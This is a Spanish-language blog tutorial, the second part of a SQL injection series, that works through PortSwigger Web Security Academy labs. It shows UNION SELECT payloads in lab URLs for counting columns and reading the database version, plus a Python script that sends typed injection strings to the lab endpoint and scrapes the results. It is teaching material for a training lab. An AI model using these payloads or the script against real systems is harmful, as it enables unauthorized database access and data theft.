#SQL Injection - Parte 2

#Resumen del post

En esta segunda parte voy a explicar un poco mi metodología siguiendo los pasos que nos indican portswigger. Como podemos identificar las columnas y extraer información de la base de datos.
Finalmente voy a compartir el script que he creado para ver como podríamos utilizar Python para automatizar la extracción de información.

#Identificar el numero de columnas

Esto realmente es muy importante, ya que muchas veces hay algunas columnas invisibles que necesitamos conocer o simplemente ver el tipo de variable que se puede almacenar en cada parámetro que pasamos.

Primero de todo podemos identificar donde hay la sentencia sql y donde se muestra esta información.
En este caso simplemente vemos que muestra 3 columnas y el parámetro se encuentra en la URL lo cual es una petición de tipo GET.

Portswigger1.png

Este reto simplemente consiste en identificar el número de columnas. Para ello podemos hacer un SELECT NULL,NULL … Tantas columnas pueda haber. Eso lo que hace es imprimir un espacio nulo e identificar el número exacto de columnas, ya que si no la página nos muestra un error. Para hacer esta sentencia necesitamos conocer como funciona UNION esto lo que hace es unir dos tablas en una.
Primero identificamos cuantas columnas hay:

1
https://ac9f1f2d1e006eb580617223003300d1.web-security-academy.net/filter?category=Pets' UNION SELECT NULL,NULL,NULL -- -

Una vez sabemos que hay 3 ya podemos empezar a extraer información identificando el tipo de variable que hay.
Ejemplo, vamos a mostrar información creada por nosotros.
Url :

1
https://ac9f1f2d1e006eb580617223003300d1.web-security-academy.net/filter?category=Pets' UNION SELECT 1,'abc',3 -- -

SQLi, detect .png

Identificamos que el texto está en la segunda columna de nuestra petición y la 1.ª y la 3.ª son de tipo int, lo cual no podemos extraer mucha información. Para enumerar podemos utilizar un cheat sheet muy bueno de portswigger Que nos puede ayudar a ver la base de datos que estamos atacando.

Para ver la versión utilizo esta sentencia:

1
https://ac9f1f2d1e006eb580617223003300d1.web-security-academy.net/filter?category=Pets'UNION SELECT NULL,version(),NULL -- -

VERSION .png

Ahora finalmente voy a compartir un pequeño script creado en Python para poder extraer esta información. Para poder explicar-lo me hubiese gustado crear un video a YouTube pero actualmente no cuento con micro y lo cual tengo que compartir estos tutoriales por escrito.
Esto me ha ayudado mucho y me ha servido de mucha ayuda para extraer informaciones de tablas y poder extraer información de una Blind SQLi. Que eso ya lo hablaremos en otra parte. Y también este script que comparto esta de forma muy basica, ya que animo a que puedas crear tu propio script y tenerlo como idea.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python3 

import requests
import re
import sys
import signal

# Global vars
host = 'ac201f2c1e53acaf801df8b6004400b5'
url = 'https://{0}.web-security-academy.net/filter'.format(host)

def signal_handler(sig, frame):
print('\n[Ctrl + c ] Saliendo ...')
sys.exit(1)
signal.signal(signal.SIGINT, signal_handler)

def sqli_requests(sqli):
try:
header= {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
}

payload = {'category': sqli}

r = requests.get(url,params=payload, headers=header)

# Logrado el laboratorio
if re.search(r'<p>Solved</p>', r.text):
print('Congratulations, you solved the lab!')

# Filtrar la info
data_filter = re.findall(r'(?:<tbody>)([\s\S]*)(?:</tbody>)', r.text)
data_filter = re.findall(r'(?<=>)(.*?)(?=<\/)',data_filter[0])

print(r,url)
return data_filter

except:
print(r.url)
print("ERROR : ", sys.exc_info()[0])

def main():

while True:
sqli=input('SQLI: ')

data = sqli_requests(sqli)
print(data)

if __name__ == '__main__':
main()

OUTPUT

OUTPUT1.png

Si quieres ver como progresa mi script lo tengo público en mi repositorio, Repositorio de GitHub.